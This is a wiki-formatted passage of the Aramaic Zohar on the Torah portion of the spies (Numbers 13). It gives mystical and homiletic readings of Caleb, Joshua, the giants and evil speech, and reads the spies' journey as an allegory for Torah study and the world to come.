תא חזי קב&quot;ה אזהר לבני עלמא ואמר {{צ|ובחרת בחיים למען תחיה}} {{ממ|דברים|ל|יט}} (בהאי עלמא ובעלמא דאתי) וחיין דההוא עלמא נינהו. אינון דחייבין מחוסרי מהימנותא מאי קא אמרי {{צ|כִּי מִי אֲשֶׁר [יבחר] יְחֻבַּר אֶל כׇּל הַחַיִּים יֵשׁ בִּטָּחוֹן כִּי לְכֶלֶב חַי הוּא טוֹב מִן הָאַרְיֵה הַמֵּת}} {{ממ|קהלת|ט|ד}}. אע&quot;ג דיבחר בר נש בהאי עלמא (ס&quot;א בההוא עלמא) כמה דאמר לאו הוא כלום דהא מסירא דא בידנא (שם אל כל החיים יש בטחון ומסירא דא בידייהו (שם) {{צ|כי לכלב חי הוא טוב מן האריה המת}}. היך יהא לן חיין בההוא עלמא ועל דא {{צ|זה רע}} ודאי דלא ידורון במלכא עלאה ולא יהא לון חולקא ביה. ואע&quot;ג דכל הני קראי תשכח סמיכין לחברייא במלין אחרנין. אבל ודאי שלמה קא אתא לגלאה על אינון חייבין מחוסרי מהימנותא דלית לון חולקא בקב&quot;ה בעלמא דין ובעלמא דאתי. 

אמר ליה תבעי דנתחבר בהדך ותזיל בהדן. 
אמר להו אי עבידנא הכי אורייתא יקרי עלי כסיל ולא עוד אלא דאתחייבנא בנפשאי. 
אמרו ליה למה. 
אמר לון דהא שליחא אנא ושדרו לי בשליחותא ושלמה מלכא אמר {{צ|מקצה רגלים חמס שותה שולח דברים ביד כסיל}} {{ממ|משלי|כו|ו}}. 

תא חזי מרגלים על דלא אשתכחו בני מהימנותא ושלוחי מהימנותא אתחייבו בנפשייהו בעלמא דין ובעלמא דאתי. 

נשק לון ואזל ליה. 

'''אזלו רבי חזקיה ור' ייסא'''. עד דהוו אזלו פגעו באינון בני נשא. 
שאילו ר' חזקיה ורבי ייסא עליה. אמרו מה שמיה דההוא בר נש? 
אמרו ר' חגי הוא וחברא דבין חברייא הוא ושדרו ליה חברייא דבבל למנדע מלין מר' שמעון בן יוחאי ושאר חברייא א&quot;ר ייסא ודאי דא הוא ר' חגי דכל יומוי לא בעא לאחזאה גרמיה במה דידע ועל דא אמר לן דהא בריה זכה ליה באורייתא בגין דאמר קרא {{צ|ראית איש חכם בעיניו תקוה לכסיל ממנו}} {{ממ|משלי|כו|יב}}. ודאי שליחא מהימנא איהו (וזכאה הוא שליחא מהימנא) וזכאה איהו מאן דשדר מלוי בידא דשליחא מהימנא. 

תא חזי אליעזר עבד אברהם מבני כנען הוה. כמה דאת אמר {{צ|כנען בידו מאזני מרמה}} {{ממ|הושע|יב|ח}}. וכנען כתיב עליה {{צ|ארור כנען עבד עבדים יהיה לאחיו}} {{ממ|בראשית|ט|כה}}. ובגין דהוה שליחא מהימנא מה כתיב ביה  {{צ|בא ברוך יהוה}} {{ממ|בראשית|כד|לא}} -  {{צ|ברוך יהוה}} ממש. ועל דא אכתיב הכי באורייתא בגין דנפק מההיא קללה ואתברך ולא די ליה דנפיק מנה אלא דאתברך בשמיה דקב&quot;ה ואוליפנא דאתא מלאך ואעיל מלה דא בפומיה דלבן:


'''{{צ|וישלח אותם משה וגו' כלם אנשים}} {{ממ|במדבר|יג|ג}}''' - כלהו זכאין הוו ורישי דישראל הוו אבל אינון דברו לגרמייהו עיטא בישא אמאי נטלי עיטא דא אלא אמרו אי ייעלון ישראל לארעא נתעבר אנן מלמהוי רישין וימני משה רישין אחרנין דהא אנן זכינן במדברא למהוי רישין אבל בארעא לא נזכי ועל דנטלי עיטא בישא לגרמייהו מיתו אינון וכל אינון דנטלן מלייהו: &lt;קטע סוף=דף קנח א/&gt;

 
{{ממ זהר משולב|ג|קנח|ב}}&lt;קטע התחלה=דף קנח ב/&gt;'''{{צ|אלה שמות האנשים אשר שלח משה וגו'}} {{ממ|במדבר|יג|טז}}''' אמר רבי יצחק משה אסתכל וידע דלא יצלחון בארחייהו כדין צלי עליה דיהושע כדין כלב הוה בדוחקא אמר מה אעביד הא יהושע אזיל בסייעתא עלאה דמשה דשדר ביה נהירו דסיהרא והוא אנהיר עליה בצלותיה בגין דאיהו שמשא. מה עבד כלב אשתמיט מנייהו ואתי לגבי קברייא דאבהן וצלי תמן צלותיה. 

א&quot;ר יהודה ארח אחרא נטיל ועקים שבילין ומטא על קברי דאבהן ואסתכן בגרמיה דהא כתיב  {{צ|ושם אחימן ששי ותלמי ילידי הענק}} {{ממ|במדבר|יג|כב}}. אבל מאן דאיהו בדוחקא לא אסתכל מדי. כך כלב בגין דהוה בדוחקא לא אסתכל מדי ואתא לצלאה על קברי אבהן לאשתזבא מעיטא דא:


'''{{צ|ויקרא משה להושע בן נון יהושע}} {{ממ|במדבר|יג|טז}}'''. רבי יצחק אמר וכי הושע קרייה קרא?! והא כתיב  {{צ|ויאמר משה אל יהושע}} {{ממ|שמות|יז|ט}},  {{צ|ויהושע בן נון נער}} {{ממ|שמות|לג|יא}},  {{צ|ויחלוש יהושע}} {{ממ|שמות|יז|יג}}! אלא אמר ליה משה יה יושיעך מנייהו. 

רבי אבא אמר כיון דשדריה למיעל לתמן אצטריך למהוי שלים ובמה בשכינתא דעד ההיא שעתא נער אקרי כמה דאוקימנא ובההיא שעתא קשיר ליה משה בהדה ואע&quot;ג דאשכחן יהושע בקדמיתא קרא קרייה הכי על ההוא דזמין למקרייה. אמר משה ודאי לא אצטריך דא למיעל תמן אלא בשכינתא והכי אתחזי:


'''{{צ|היש בה עץ אם אין וגו'}} {{ממ|במדבר|יג|כ}}'''. רבי חייא אמר וכי לא הוה ידע משה דאית בה כמה אילנין משניין דא מן דא והא הוא שבח לה לישראל בכמה זמנין והוא אסתפק בדא. והא קב&quot;ה קאמר ליה למשה בקדמיתא דהיא ארץ זבת חלב ודבש. אמר רבי יוסי הא אתערו חברייא דכתיב  {{צ|איש היה בארץ עוץ איוב שמו}} {{ממ|איוב|א|א}}. אמר רבי שמעון רמז להם רמיזא דחכמתא על מה דשאילו בקדמיתא דכתיב  {{צ|היש יהוה בקרבנו אם אין}} {{ממ|שמות|יז|ז}}. אמר תמן תחמון אי היא אתחזיא להאי או להאי. אמר לון אי תחמון דאיבא דארעא כשאר ארעי דעלמא יש בה עץ אילנא דחיי ולא מאתר עלאה יתיר. ואי תחמון דאיבא דארעא יתיר ומשנייא מכל אתר דעלמא תנדעון דהא מעתיקא קדישא קא נגיד ואתמשך ההוא שנוייא עלאה מכל אתרי דעלמא ובדא תנדעון היש בה ע&quot;ץ אם אי&quot;ן ודא בעיתון בקדמיתא (דבמעיכון בעיתון) למנדע דא דכתיב {{צ|היש יהוה בקרבנו}} - {{צ|בקרבנו}} דייקא! או {{צ|אם אין}}. 

ועל דא {{צ|והתחזקתם ולקחתם מפרי הארץ}} למנדע שנוייא דיליה. 

{{צ|והימים ימי בכורי ענבים}}. {{צ|והימים}} מאי קא מיירי דהא ואז בכורי ענבים סגי ליה אלא והימים אינון דאשתמודען כלהו הוו מתחברן בההוא זמנא בההוא אילנא דחטא ביה אדם הראשון כמה דתנינן ענבים היו ועל דא  {{צ|והימים}} - אינון דאשתמודען,  {{צ|ימי בכורי ענבים}} דייקא!


'''{{צ|ויעלו בנגב ויבא עד חברון}} {{ממ|במדבר|יג|כב}}''' - &quot;ויבאו&quot; מבעי ליה!? אלא אמר רבי יוסי כלב הוא דאתא לצלאה על קברי אבהתא. אמר כלב יהושע הא ברכיה משה בסיועא עלאה קדישא ויכיל לאשתזבא מנייהו ואנא מה אעביד. אימלך למבעי בעותא על קברי אבהתא בגין דישתזיב מרזהון (ס&quot;א מעיטא בישא דשאר מאללין. 

רבי יצחק אמר מאן דהוה רשים מכלהו דא עאל בגוויה דביה תליא כלא. ות&quot;ח מאן הוא משאר אחרי דיכול לאעלא תמן דהא כתיב {{צ|ושם אחימן ששי ותלמי}} ומדחילו דלהון מאן יכיל לאעלאה &lt;קטע סוף=דף קנח ב/&gt;

 
{{ממ זהר משולב|ג|קנט|א}}&lt;קטע התחלה=דף קנט א/&gt;במערתא. אלא שכינתא עאלת תמן בכלב לבשרא לאבהן דהא מטא זמנא לאעלא בנייהו לארעא דאומי לון קב&quot;ה ודא הוא ויבא עד חברון. תאנא אחימן ששי ותלמי ממאן נפקו זרעא הוו מאינון נפילין דאפיל לון קב&quot;ה בארעא ואולידו מבנת ארעא ומנייהו נפקו גיברי עלמא כמה דכתיב {{צ|המה הגבורים אשר מעולם אנשי השם}} {{ממ|בראשית|ו|ד}}. {{צ|אשר מעולם}} - דשמשי (נ&quot;א מדאתברי) עלמא משתכחי. {{צ|אנשי השם}} - אחימן ששי ותלמי:


'''{{צ|ויבאו עד נחל אשכול וגו'}} {{ממ|במדבר|יג|כג}}''' {{ש}}
רבי יהודה פתח: {{צ|כה אמר האל יהוה בורא השמים ונוטיהם וגו'}} {{ממ|ישעיהו|מב|ה}}. כמה אית להו לבני נשא לאסתכלא בפולחנא דקב&quot;ה כמה אית להו לאסתכלא במלי דאורייתא דכל מאן דאשתדל באורייתא כאילו מקרב כל קורבנין דעלמא לקמי קב&quot;ה ולא עוד אלא דקב&quot;ה מכפר ליה על כל חובוי ומתקנין ליה כמה כורסיין לעלמא דאתי {{ש}}
'''(חסר)''' {{להשלים}}


'''ר' יהודה הוה אזיל בארחא בהדי ר' אבא'''. {{ש}}
שאל ליה אמר מלה חד בעינא לשאלא כיון דידע קב&quot;ה דזמין בר נש למחטי קמיה ולמגזר עליה מיתה - אמאי ברא ליה? דהא אורייתא הוה תרי אלפין שנין עד לא איברי עלמא וכתיב בה באורייתא {{צ|אדם כי ימות באהל}}. {{צ|איש כי ימות}}. {{צ|וימת}}. {{צ|ויחי פלוני וימת}}. מאי קבעי קב&quot;ה לבר נש בהאי עלמא?! דאפילו אי אשתדל באורייתא יממא וליליא - ימות! ואי לא אשתדל באורייתא - ימות! כלא בחד ארחא בר פרישותא דההוא עלמא כמה דאת אמר {{צ|כטוב כחוטא}} {{ממ|קהלת|ט|ב}}. 

אמר ליה: אורחוי דמארך וגזרי דמארך מה לך למטרח בהו?! מה דאית לך רשו למנדע ולאסתכלא - שאיל! ודלית לך רשו למנדע - כתיב {{ממ|קהלת|ה|ה}} {{צ|אל תתן את פיך לחטיא את בשרך}}! דאורחוי דקב&quot;ה וסתרין גניזין עלאין דהוא סתים וגניז לית לן לשאלא! {{ש}}
אמר ליה: אי הכי הא אורייתא כלא סתים וגניז דהא היא שמא קדישא עלאה הוי ומאן דמתעסק באורייתא כאלו אתעסק בשמיה קדישא ואי הכי לית לן לשאלא ולאסתכלא. {{ש}}
אמר ליה: אורייתא כלא סתים וגלייא ושמיה קדישא סתים וגלייא וכתיב {{צ|הנסתרות ליהוה אלהינו והנגלות לנו ולבנינו}} {{ממ|דברים|כט|כח}}. {{צ|הנגלות לנו}} - דאית רשו לשאלא ולעיינא ולאסתכלא בהו ולמנדע בהו. אבל {{צ|הנסתרות ליהוה אלהינו}} - דיליה אינון וליה אתחזיין דמאן יכיל למנדע ולאתדבקא דעתוי סתימא. וכ&quot;ש למשאל. 

תא חזי לית רשו לבני עלמא למימר מלין סתימין ולפרשא לון בר בוצינא קדישא רבי שמעון! דהא קב&quot;ה אסתכם על ידוי. ובגין דדרא דילה(?) רשימא הוא לעילא ותתא ועל דא מלין אתמרו באתגלייא על ידוי ולא יהא דרא כדרא דאיהו שארי בגויה עד דייתי מלכא משיחא! 

אבל תא חזי כתיב {{צ|ויברא אלהים את האדם בצלמו בצלם אלהים ברא אותו}} {{ממ|בראשית|א|כז}} (ובכלא הוא כעין דוגמא דלעילא. ת&quot;ח) רזא דמלה. {{ש}}
תלת עלמין אית ליה לקב&quot;ה דאיהו גניז בגווייהו. 
* עלמא קדמאה - ההוא עלאה טמירא דכלא דלא אסתכל ביה ולא אתידע ביה בר איהו, דאיהו גניז בגוויה. 
* עלמא תניינא - קשיר בההוא דלעילא, ודא הוא דקב&quot;ה אשתמודע מניה כמה דכתיב {{צ|פתחו לי שערי צדק...זה השער ליהוה}}. ודא הוא עלמא תניינא. 
* עלמא תליתאה - ההוא עלמא תתאה מנייהו דאשתכח ביה פרודא ודא הוא עלמא דמלאכי עלאי שריין בגוויה. וקודשא בריך הוא אשתכח ביה ולא אשתכח. אשתכח ביה השתא - כד בעאן לאסתכלא ולמנדע ליה. אסתלק מנייהו ולא אתחזי עד דכלהו שאלי {{צ|איה מקום כבודו}}. {{צ|ברוך כבוד יהוה ממקומו}}. והאי הוא עלמא דלא אשתכח ביה תדירא. &lt;קטע סוף=דף קנט א/&gt;

{{ממ זהר משולב|ג|קנט|ב}}{{ש}}
&lt;קטע התחלה=דף קנט ב/&gt;כגוונא דא {{צ|בצלם אלהים עשה את האדם}} {{ממ|בראשית|א|כז}} כדין אית ליה תלת עלמין. 
* עלמא קדמאה - האי עלמא דאקרי {{צ|עלמא דפירודא}}, ובר נש אשתכח ביה ולא אשתכח. כד בעאן לאסתכלא ביה - אסתלק מנייהו ולא אתחזי. 
* עלמא תניינא - עלמא דאיהו קשיר בההוא עלמא עלאה ודא הוא גן עדן די בארעא דדא הוא קשיר בעלמא אחרא עלאה. ומהאי אתידע ואשתמודע עלמא אחרא. 
* עלמא תליתאה - עלמא עלאה טמירא גניז וסתים, דלית מאן דידע ליה, כמה דכתיב {{צ|עין לא ראתה אלהים זולתך יעשה למחכה לו}} {{ממ|ישעיהו|סד|ג}}. 

וכלא כגוונא עלאה (קדמאה דאמינא ובקשוט) דכתיב {{צ|בצלם אלהים עשה את האדם}} (ת&quot;ח ודאי){{ש}} 
על דא כתיב {{צ|בנים אתם ליהוה אלהיכם וגו'}} {{ממ|דברים|יד|א}} כמה דאוקמוה ואלין אינון {{צ|בצלם אלהים}}, ואלין ירתין ירותא עלאה כגוונא דיליה. ועל דא אזהר באורייתא {{צ|לא תתגודדו ולא תשימו קרחה}} - דהא לא אתאביד והא שכיח בעלמין טבין עלאין ויקירן להוון חדן כד אסתלק (צדיקא) מהאי עלמא. 

ותא חזי אלמלי לא חב אדם - לא יטעם טעמא דמותא בהאי עלמא בזמנא דעייל לעלמין אחרנין! אבל בגין דחב - טעם טעמא דמותא עד לא ייעול לאינון עלמין. ואתפשט רוחא מהאי גופא, ואשאר ליה בהאי עלמא, ורוחא אסתחיא בנהר דינור לקבלא עונשא ולבתר עיילא לגן עדן דבארעא. ואזדמנא ליה מאנא אחרא דנהורא כהאי פרצופא דגופא דהאי עלמא ממש. ואתלבש ואתתקן ביה. ותמן הוא מדורא דיליה תדיר. ואתקשר בריש ירחי ושבתי בנשמתא, וסליק ואתעטר לעילא לעילא. 

הדא הוא דכתיב {{צ|והיה מדי חדש בחדשו וגו'}} {{ממ|ישעיהו|סו|כג}}. {{צ|מדי חדש בחדשו}} אמאי? אלא רזא דמלה בגין חדתותי דסיהרא דאתעטרא (עטרוי) לאנהרא מן שמשא בההוא זמנא. וכן {{צ|מדי שבת בשבתו}}. {{צ|מדי שבת}} - דא סיהרא. {{צ|בשבתו}} - דא שמשא; דנהורא אתיא לה מן תמן. ועל דא כלא חד מלה! 

ודא הוא ברירא דמלה בר לחייביא דכתיב בהו 'מיתה' לכלהו עלמין, 'כרת' מכלהו עלמין. ואשתציין מכלא כד לא עיילי בתשובה. 

אמר רבי יהודה: בריך רחמנא דשאילנא ורווחנא מלין אלין וקאימנא עלייהו! 


'''אמר ר' שמעון:''' מפרשתא דא אוליפנא רזא דחכמתא ואשתמעו מנה רזין עלאין ויקירין! {{ש}}
תא חזי! קב&quot;ה משבח באורייתא ואמר &quot;''אזילו באורחי! אשתדלו בפולחני! והא אנא מעייל לכון לעלמין טבין לעלמין עלאין''&quot;. {{ש}}
בני נשא דלא ידעי לא מהימני ולא מסתכלי קב&quot;ה אמר &quot;''אזילו! אלילו ההוא עלמא טבא! ההוא עלמא עלאה דכסופא!''&quot; {{ש}}
אינון אמרי: &quot;''איך ניכול לאללא ליה ולמנדע כל האי?!''&quot; 

מה כתיב? {{ש}}
{{צ|עלו זה בנגב}} - &quot;''אשתדלו באורייתא ותחמון דהא היא קימא קמייכו ומנה תנדעון ליה''&quot;.{{ש}} 
{{צ|וראיתם את הארץ מה היא וגו'}} - &quot;''תחמון מנה ההוא עלמא דהא ירותא דאחסנא דאנא עייל לכו בה''&quot;. {{ש}}
{{צ|ואת העם היושב עליה}} - &quot;''אינון צדיקייא דבגנתא דעדן דקיימן שורין שורין ביקרא עלאה בדרגין עלאין''&quot;. {{ש}}
{{צ|החזק הוא חרפה}} - &quot;''בה תחמו אי זכו לכל האי כד אתקפו על יצריהון ותברו ליה אי לא. או כד אתקפו באורייתא למלעי בה יממא וליליא או אי ארפו ידייהו מנה וזכו לכל האי''&quot;. {{ש}}
{{צ|המעט הוא אם רב}} - ''&quot;אי סגיאין אינון דאשתדלו בפולחני ואתקיפו באורייתא בגין דזכו לכל האי אי לא''&quot;

{{צ|ומה הארץ השמנה הוא אם רזה}} - מדאורייתא תנדעון מה הארץ - מה ההוא עלמא אי אסגי טיבו עלאה ליתבהא או אי אזעיר מנה כלום. {{ש}}
{{צ|היש בה עץ אם אין}}  - האית בה אילנא דחיי לעלם ולעלמי עלמין או אי צרורא דחיי אשתכח בגווה אם לא.&lt;קטע סוף=דף קנט ב/&gt;

{{ממ זהר משולב|ג|קס|א}}

&lt;קטע התחלה=דף קס א/&gt;{{צ|ויעלו בנגב ויבא עד חברון}} {{ממ|במדבר|יג|כב}}. {{ש}}
{{צ|ויעלו בנגב}} - בני נשא סלקין בגווה {{צ|בנגב}} - בלבא עצלא - כמאן דאשתדל במגנא בנגיבו דחשיב דלית בה אגר חמי דהא עותרא דהאי עלמא אביד בגינה חשיב דכלא הוא. {{צ|בנגב}} - כמה דאת אמר {{צ|חרבו המים}} ומתרגמינן {{צ|נגיבו}}. 

לבתר {{צ|ויבא עד חברון}} - עד דאתי לאתחברא בה קארי ושאני בה. {{ש}}
{{צ|ושם אחימן ששי ותלמי}} - תמן חמי פליגן סגיאין - טמא וטהור אסור ומותר (נ&quot;א כשר ופסול) עונשין ואגרין. אלין אינון ארחי דאורייתא דקדוקי אורייתא.{{ש}} 
{{צ|ילידי הענק}} - דאתילידו מסטרא דגבורה. {{ש}} 
{{צ|וחברון שבע שנים נבנתה}} - אלין אינון שבעין אנפין דאורייתא. שבעין פנים אית לה - לכל סטרא עשרה. {{ש}} 
{{צ|וחברון}} - דא אורייתא. מאן דאשתדל בה אקרי 'חבר'. {{ש}} 
{{צ|לפני צוען מצרים}} - תנינן אורייתא אית לקבל אורייתא והיינו תורה שבכתב ותורה שבע&quot;פ והאי (מל') חברון מתורה שבכתב נפקת כמה דאת אמר {{צ|אמור לחכמה אחותי את}} {{ממ|משלי|ז|ד}}. והאי 'נבנתה' שבע שנין - דבגין כך אקרי {{צ|בת שבע}}, {{צ|לפני צען מצרים}} כמה דאת אמר {{צ|ותרב חכמת שלמה מחכמת כל בני קדם ומכל חכמת מצרים}} {{ממ|מ&quot;א|ה|י}}. 


{{צ|ויבאו עד נחל אשכול}} - אלין אינון מלי אגדה דרשה דתליין מסטרא דמהימנותא. {{ש}}
{{צ|ויכרתו משם זמורה וגו'}}. אולפין מתמן ראשי פרקין ראשי מלין אינון לבני מהימנותא חדאן במלין ומתברכן מלין בגוייהו ומסתכלן שרשא חד ועקרא חד ולא אשתכח בהו פרודא. אינון דלא משתכחי בני מהימנותא ולא אולפי אורייתא לשמה שוין ליה למהימנותא בפרודא הדא הוא דכתיב {{צ|וישאוהו במוט בשנים}} בפרודא. 

מהו {{צ|במוט}}? כמה דאת אמר {{צ|אל יתן למוט רגלך}} {{ממ|תהלים|קכא|ג}}. {{ש}}
{{צ|ומן הרמונים ומן התאנים}} - כלא שוין להני מילי לסטרא אחרא לסטרא דמיגאי לסטרא דפורדא. הדא הוא דכתיב {{צ|וישובו מתור הארץ}}. {{ש}}
{{צ|וישובו}} - תייבין לסטרא בישא ותייבין מארחא דקשוט. אמרי &quot;''מאי אכפת לן עד יומא לא חמינא טב לעלמא אעמלנא בה ביתא ריקם. יתיבנא בקלנא דעמא ולההוא עלמא מאן יזכי ומאן ייעול לגוויה?! טב לן דלא אטרחנא כולי האי!''&quot; 

{{צ|ויספרו לו ויאמרו וגו'}} - הא אעמלנא ולאינא בגין למנדע חולקא דההוא עלמא. {{ש}}
{{צ|וגם זבת חלב ודבש היא}}. טב הוא ההוא עלמא עלאה כמה דידענא באורייתא אבל מאן יכיל למזכי ביה. {{ש}}
{{צ|אפס כי עז העם}} - תקיף הוא דלא יחשיב כל עלמא כלל בגין דיהא ליה עותרא סגיא לאשתדלא ביה מאן הוא דיזכי בה. ודאי {{צ|אפס כי עז העם היושב בארץ}} מאן דבעי למזכי בה בעי למהוי תקיף בעותרא כמה דאת אמר {{צ|ועשיר יענה עזות}} {{ממ|משלי|יח|כג}}. 

{{צ|והערים גדולות בצורות}}. בין מליין כל טובא דלא יחסרון מכלא. ועם כל דא {{צ|וגם ילידי הענק ראינו שם}} - בעי גופא תקיף גיבר כארי (דישתכח תמן תדירא) בגין דהיא מתשת חיליה דבר נש לאשתדלא בההוא איסור והתר טמא וטהור כשר ופסול מאן ייכול לזכאה בה. 

ועוד - {{צ|עמלק יושב בארץ הנגב}} - אי יימא בר נש דאפילו בכל דאי זכי - {{צ|עמלק יושב בארץ הנגב}}! הא יצרא בישא קטיגורא מקטרגא דבר נש דישתכח תדיר בגופא! {{ש}}
{{צ|והחתי והאמורי וגו'}} - כמה מקטרגי משתכחי תמן (בגין) דלא יכיל בר נש למיעל בההוא עלמא כלל! מאן יזכי ליה ומאן ייעול בגויה במלין אלין!

{{צ|ויניאו את לב בני ישראל}}. בגין דאפיקו שום ביש עלה כמה דאת אמר {{צ|ויוציאו את דבת הארץ}} {{ממ|במדבר|יג|לב}}. 

אינון בני מהימנותא מאי קא אמרי? {{צ|אם חפץ בנו יהוה ונתנה לנו}} - כיון דישתדל בר נש ברעותא דלבא לגבי קב&quot;ה - לא בעי מנן אלא לבא ויסתמרון ההוא רשימא קדישא דכתיב {{צ|ועמך כלם צדיקים לעולם יירשו ארץ}}.&lt;קטע סוף=דף קס א/&gt; 

{{ממ זהר משולב|ג|קס|ב}}

&lt;קטע התחלה=דף קס ב/&gt;אבל {{צ|אך ביהוה אל תמרודו}}! בעי דלא ימרדון באורייתא! דאורייתא לא בעי עותרא ולא מאני דכספא ודהבא. 

{{צ|ואתם אל תיראו את עם הארץ}} - דהא גופא תבירא אי ישתדל באורייתא ישכח אסוותא בכלא! הדא הוא דכתיב {{צ|רפאות תהי לשרך ושקוי לעצמותיך}}, וכתיב {{צ|ולכל בשרו מרפא}}. וכל אינון מקטרגי אינון מכרזאן ואמרי &quot;''פנו אתר לפלנייא עבדא דמלכא!''&quot;. בגין כך {{צ|אל תיראו}}. {{ש}}
{{צ|כי לחמנו הם}}. אינון בגרמייהו מזמנן מזוגי בכל יומא לאינון דמשתדלי באורייתא כמה דאת אמר {{צ|ואת העורבים צויתי לכלכך}} {{ממ|מ&quot;א|יז|ד}}, וכתיב {{צ|והעורבים מביאים לו לחם ובשר}} {{ממ|מ&quot;א|יז|ו}}. 

{{צ|סר צלם מעליהם}} - מאן {{צ|צלם}}? דא תוקפא דדינא קשיא. מאי טעמא אעדי? משום ד{{צ|יהוה אתנו אל תיראום}} - כלא אעדיאו בגין אורייתא. 

זכאה חולקהון דאינון דמשתדלי באורייתא לשמה - דהא מתקשרי בקב&quot;ה ממש ואקרון 'אחים ורעים'! הדא הוא דכתיב {{צ|למען אחי ורעי אדברה נא שלום בך}} {{ממ|תהלים|קכב|ח}}:


'''{{צ|ויבאו עד נחל אשכול וגו'}} {{ממ|במדבר|יג|כג}}'''.{{ש}} 
רבי אבא אמר כרתו ההוא אשכול אתו לסלקא ליה לא יכילו. אתו לנטלא ליה לא יכילו אתו כלב ויהושע נטלו ליה וסליקו ליה ואזדקף על ידייהו הדא הוא דכתיב {{צ|וישאוהו במוט בשנים}} - {{צ|בשנים}} - באינון שנים יחידן. {{צ|זמורה}} מאי קא בעאן? אלא אשכול הוה תלייא ביה ובעוד דהוה מתחבר באתריה אקרי {{צ|זמורה}} לבתר קרייה {{צ|מוט}} דכתיב {{צ|וישאוהו במוט}} ההוא דאשתמודע ההוא דכרתו מכאן ידעו יהושע וכלב דאינון אתחזיין למיעל לארעא ולמהוי לון בה חלק ואחסנא. עד דהוו אתיין אמלכו עלייהו כלהו. קאים כלב באיבא. אמר איבא איבא אי בגינך אנן מתקטלין מה אנן בחולקך מיד קליל גרמיה ויהבו לון. 

ר' אלעזר אמר לא יהבו לאחרי דהא כתיב {{צ|וישאוהו במוט}} וכתיב {{צ|בשנים}} ובכלהו לא הוו שנים כוותייהו ומכאן אוליף יהושע לבתר דכתיב {{צ|וישלח יהושע בן נון מן השטים שנים אנשים מרגלים}} {{ממ|יהושע|ב|א}} והני שנים הא אוקמוה קדמאי. וכד מטו לגבייהו דישראל יהבו לון ואינון אשתארו ועבדו גרמייהו שיריים. ר' יצחק אמר כד הוו מטאן לגבייהו דאינון ענקים הוו שוויין ההוא חוטרא דמשה קמייהו ואשתזיבו ומנלן דההוא חוטרא יהיב לון הדא הוא דכתיב {{צ|ויאמר אליהם עלו זה בנגב}}. כתיב הכא {{צ|עלו זה}} וכתיב התם {{צ|ואת המטה הזה וגו'}} ובגיניה אשתזיבו. דאי תימא הני ענקייא שבקי לון אלא אתו לנסבא לון והוו שוויין לקמייהו ההוא חוטרא ומשתזבי (ס&quot;א ומשתמטי) מקמייהו. 

רבי יהודא אמר מסורת שמא קדישא מסר לון משה ובגיניה אשתזיבו מנייהו. רבי חייא אמר תלת שמהן אקרון. נפילים. ענקים. רפאים. וכלהו אורכי יומי. נפילין אקרון בקדמיתא לבתר כד אתחברון בבנת בני נשא ואולידו מנייהו אקרון ענקים. לבתר דהוו אזלי ושטאן בהאי עלמא ומתרפיין מההוא דלעילא אקרון רפאים. אמר ר' יהודה והא כתיב {{צ|הרפאים יחוללו}} {{צ|רפאים יחשבו אף הם כענקים}} {{ממ|דברים|ב|יא}}. 

אמר ליה הכי הוא בגין דענקים אתו מהאי סטרא ומהאי סטרא ואתיאשו יתיר בארעא. כגוונא דא רפאים ומנייהו נפקי והוו אורכי יומי וכד מתחלשי אתחלש פלגות גופא ופלגות קאים כיון דפלגות גופא הוה מית הוו נסבי עשבא מעשבי ברא ושדיין לפומייהו ומיתו ובגין דאינון בעאן לקטלא גרמייהו אקרון רפאים אמר ר' יצחק שדיין גרמייהו בימא רבא וטבען ומתין הדא הוא דכתיב {{צ|הרפאים יחוללו מתחת מים ושוכניהם}} {{ממ|איוב|כו|ה}}. ר' שמעון אמר אלמלא הוו עיילין ישראל לארעא בסימנא (נ&quot;א באומנא) &lt;קטע סוף=דף קס ב/&gt;

 
{{ממ זהר משולב|ג|קסא|א}}&lt;קטע התחלה=דף קסא א/&gt;דלישנא בישא לא הוה קאים עלמא רגעא חד. מאן אומנא דלישנא בישא נחש ורזא דמלה מדאתא נחש על חוה אטיל בה זוהמא. אמר ר' שמעון ועל כלא מחל קב&quot;ה בר מן לישנא בישא בגין דכתיב {{צ|אשר אמרו ללשוננו נגביר שפתינו אתנו מי אדון לנו}} {{ממ|תהלים|יב|ה}}. תא חזי כמה עבד ההוא לישנא בישא גזר על אבהתנא דלא ייעול לארעא. ומיתו אינון דאמרו ואתגזר בכיה לדרי דרין (כ&quot;ש הכא דאפיקו לישנא בישא על כלא) כביכול כיון דאפיקו על ארעא קדישא כאילו אפיקו עליה בגין כך קני קב&quot;ה על דא (כלומר קני לשמיה) וקאימו ישראל כלהו לאשתצאה מעלמא אלמלא בעותיה דמשה:


'''{{צ|ויספרו לו ויאמרו וגו'}}'''. {{ש}}
אמר רבי חייא מ&quot;ש הכא {{צ|ויספרו}} ולא כתיב &quot;ויגידו&quot; או &quot;ויאמרו&quot;? אלא כל חד אוליף מלה בלחודוי. {{צ|ויגידו}} בכל אתר רמז קא רמיז בחכמתא והא אתמר. {{צ|ויאמר}} - אירה(?) בעלמא. ויאמרו הרהורא דלבא. ויאמרו תפקידתא והא אוקימנא בכמה אתר. {{צ|ויספרו}} - פרישותא דמלה בכל אתר. 

{{צ|באנו אל הארץ}} - &quot;הלכנו&quot; מבעי ליה!? אלא {{צ|באנו}} - עאלנא לתמן לההיא ארעא דהוית משבח בכל יומא והוית אמרת דלית דכוותה. 

{{צ|וגם זבת חלב ודבש היא}}. רבי יצחק אמר מאן דבעי למימר כדיבא אמר מלה דקשוט בקדמיתא בגין דיהמנו ליה כדבוי. רבי חייא אמר (אלא) הכי אמרו עאלנא לההיא ארעא דהוית משבח לה כל יומא ואמרת דלית דכותה (וגם זבת חלב ודבש היא) וארימת שבחא על כלא ולאו הכי דהא זה פריה אתכלא חד מאינון זעירין קטפו. אמרו אי לדא אחסין קב&quot;ה לישראל וסבלו כל אינון עקתין וליאותין הא בארעא דמצרים אית אתכלין ואיבין דארעא יתיר על חד תרין:

